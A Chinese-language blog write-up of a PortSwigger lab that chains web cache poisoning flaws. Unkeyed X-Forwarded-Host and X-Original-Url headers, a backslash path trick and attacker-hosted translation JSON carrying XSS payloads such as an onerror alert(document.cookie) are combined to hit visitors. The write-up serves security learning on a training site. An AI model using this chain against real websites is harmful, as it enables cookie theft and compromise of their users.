专家-缓存设计缺陷-组合Web缓存投毒漏洞
# 实验室:组合 Web 缓存投毒漏洞
# 题目
此实验室容易受到 Web 缓存投毒的攻击,但需要你构建复杂的漏洞利用链。
用户大约每分钟访问一次主页,其语言设置为英语。要解决此实验,请毒害缓存响应,并在访问者的浏览器中执行alert(document.cookie)
。
- name: 实验室-专家
desc: 组合 Web 缓存投毒漏洞 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/web-cache-poisoning/exploiting-design-flaws/lab-web-cache-poisoning-combining-vulnerabilities
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 实操
点击 “ACCESS THE LAB” 进入实验室。
一个购物站点,左上角有一个可疑的下拉列表。
# 请求分析
捕获一系列的请求数据包,看看发生了什么事情。
第一和第二个数据包,和上一个实验室相同,站点会加载某个 js 文件并执行initTranslations
函数。参数依然是由data.host
变量拼接而成的 URL。
以下是所加载 js 文件的内容:
function initTranslations(jsonUrl)
{
// 获取 Cookie 中的 lang 参数
const lang = document.cookie.split(';')
.map(c => c.trim().split('='))
.filter(p => p[0] === 'lang')
.map(p => p[1])
.find(() => true);
// 循环设置 HTML 元素的语言
const translate = (dict, el) => {
for (const k in dict) {
if (el.innerHTML === k) {
el.innerHTML = dict[k];
} else {
el.childNodes.forEach(el_ => translate(dict, el_));
}
}
}
// 加载 json 资源,获取预先存储好的各国语言
// 设置左上角的下拉列表
fetch(jsonUrl)
.then(r => r.json())
.then(j => {
const select = document.getElementById('lang-select');
if (select) {
for (const code in j) {
const name = j[code].name;
const el = document.createElement("option");
el.setAttribute("value", code);
el.innerText = name;
select.appendChild(el);
if (code === lang) {
select.selectedIndex = select.childElementCount - 1;
}
}
}
// 如果用户选择的语言存在 并且 不是英语 则调用上面的translate函数设置网页语言
lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
});
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
第三个请求,这是 js 代码所加载的 json 数据,都是预先设定好的各国语言。
/resources/json/translations.json
{
"en": {
"name": "English"
},
"es": {
"name": "español",
"translations": {
"Return to list": "Volver a la lista",
"View details": "Ver detailes",
"Description:": "Descripción:"
}
},
"cn": {
"name": "中文",
"translations": {
"Return to list": "返回清單",
"View details": "查看詳情",
"Description:": "描述:"
}
},
......省略
}
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
当我在下拉列表里面选择 “中文” 之后,就会向路径/setlang/cn?
发出请求,响应中的Set-Cookie
标头会将我们 Cookie 中的lang
设置为对应的语言简写cn
。
然后该请求会被Location
标头重定向至/?localized=1
路径下。
选择另一个语言,同样是设置 Cookie 中的lang
参数,然后重定向至/?localized=1
。
# 猜测标头
和之前的实验室一样,利用 Param Miner 扩展猜测无键的标头。
发现第一个无键标头X-Forwarded-Host
。
发现第二个无键标头X-Original-Url
。
X-Forwarded-Host
X-Original-Url
2
# 引出有害的响应
我们可以借助X-Forwarded-Host
标头污染主页的data.host
变量,使其从我们的域加载恶意 json 数据。
访问漏洞利用服务器,将路径修改为/resources/json/translations.json
。
将响应标头的内容类型修改为application/json
,并添加响应标头Access-Control-Allow-Origin: *
以允许跨域资源请求。
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
Access-Control-Allow-Origin: *
2
3
添加 json 测试数据:
{
"cn": {
"name": "chinese",
"translations": {
"Return to list": "aaaaaAAAAA",
"View details": "bbbbbBBBBB",
"Description:": "cccccCCCCC"
}
}
}
2
3
4
5
6
7
8
9
10
点击 “Store” 保存更改。
提前将网页语言设置为cn
(中文),然后在请求中添加X-Forwarded-Host
标头,污染data.host
变量。引出有害响应的同时,创建新的缓存。
刷新网页,网页中原本显示的中文,变成了我们提供的测试数据。
看看产生了哪些请求。
第一个请求,受害者访问网站主页。由于主页已被我们投毒,所以受害者会命中有害的缓存响应,得到被污染的data.host
变量。
第二个请求,主页加载 js 文件并执行initTranslations
函数。
第三个请求,由于资源导入的域名已被我们污染,所以initTranslations
函数会从我们的域加载 json 数据。
想要执行 XSS 攻击,只需要将漏洞利用服务器上的 json 数据修改成 XSS 载荷即可。例如:
{
"cn": {
"name": "chinese",
"translations": {
"Return to list": "aaaaaAAAAA",
"View details": "<script>alert(1)</script>",
"Description:": "cccccCCCCC"
}
}
}
2
3
4
5
6
7
8
9
10
除了英语以外,我们能够对任何语言投毒。为什么是除了英语?
因为 js 中有这样一段代码:
lang in j && lang.toLowerCase() !== 'en' && j[lang].translations && translate(j[lang].translations, document.getElementsByClassName('maincontainer')[0]);
重点在于代码lang.toLowerCase() !== 'en'
,英语是默认语言,所以它不会被翻译。既然不会被翻译,那也就不会加载 json 数据。
而根据题目所说,目标受害者的语言刚好是英语......
所以除了毒害data.host
变量造成 XSS 以外,我们还需要将英语en
毒害成其他的语言。
# 符号解析差异,导致响应是否会被缓存
我发现了第二个无键标头X-Original-Url
的作用,它可以覆盖原有的 URL 路径。
例如,如果提供X-Original-Url: /setlang/cn
标头,那么原本对/resources/js/translations.js
的请求,将会被发往/setlang/cn
。
然后我一直试图将发往/setlang/en
的请求毒害成/setlang/cn
。
但有一个大问题,那就是/setlang/???
路径下没有缓存!我无法保存有毒的缓存响应。
到这一步我就卡住了,于是瞄了一小眼答案。(我系废物)
我瞄到了一个符号,反斜杠\
。
哦?将X-Original-Url
标头中的/setlang/cn
修改为/setlang\cn
,再次发送请求!!!这次有缓存了!!!
# 组合缓存投毒漏洞
发现 “X-Original-Url
覆盖路径 + 反斜杠引出缓存” 的妙用以后,我有了一个大胆的想法。
受害者不是会访问网站主页吗?那我们就使用X-Original-Url
标头来毒害主页,使所有对根目录/
的请求都被发往/setlang/???
。(强制受害者设置其他语言)这是引出有害响应。
X-Original-Url
标头中的路径使用反斜杠\
,例如/setlang\???
。(使该响应能够被缓存)这是缓存有害的响应。
二来,在前面分析请求时发现,对/setlang/???
发送请求之后,会自动设置 Cookie 中的lang
参数并重定向至/?localized=1
路径下。
那我们就污染/?localized=1
页面的data.host
变量,使该页面从我们的域加载 json 数据。
在依次毒害/
和/?localized=1
这两个网页之后:
- 受害者访问
/
,命中有毒的响应导致 URL 被覆盖,请求发送至/setlang\???
- 被上一个请求自动重定向至
/?localized=1
,命中有毒的响应导致data.host
被污染,从攻击域加载恶意 json 数据
以下是一个动图,演示了受害者被强制转换语言 以及 加载恶意 json 数据的过程:
看看产生了哪些请求:
- 第一个请求,受害者访问主页,命中有毒的缓存响应,请求发送至
/setlang/cn
- 第二个请求,语言被设置为中文,并重定向至
localized=1
- 第三个请求,访问
localized=1
,命中有毒的缓存响应,变量data.host
被污染 - 第四个请求,加载 js 文件并执行函数
- 第五个请求,由函数发出,从攻击者的域加载 json 数据。同时由于语言不是英语,所以会将 json 数据插入网页 HTML 中(也就是翻译 HTML 网页)
一切就绪,先查看一下网页源代码,发现注入 XSS 的上下文位于标签之间。
访问漏洞利用服务器,将第二个数据的值修改为合适的 XSS 载荷:
{
"cn": {
"name": "chinese",
"translations": {
"Return to list": "aaaaaAAAAA",
"View details": "<img src=1 onerror=alert(document.cookie)>",
"Description:": "cccccCCCCC"
}
}
}
2
3
4
5
6
7
8
9
10
点击 “Store” 保存更改。
发送第一个投毒请求,毒害页面/
,并引出有毒的缓存响应。
这是为了重设受害者的语言,使翻译功能得以运行。
发送第二个投毒请求,毒害页面/localized=1
,并引出有毒的缓存响应。
这是为了污染data.host
变量,使其从我们的域加载恶意 json 数据。
同时毒害两个缓存响应之后,此时如果你访问主页,则会被重定向至/localized=1
页面,加载恶意 json 并执行alert()
。
实验完成。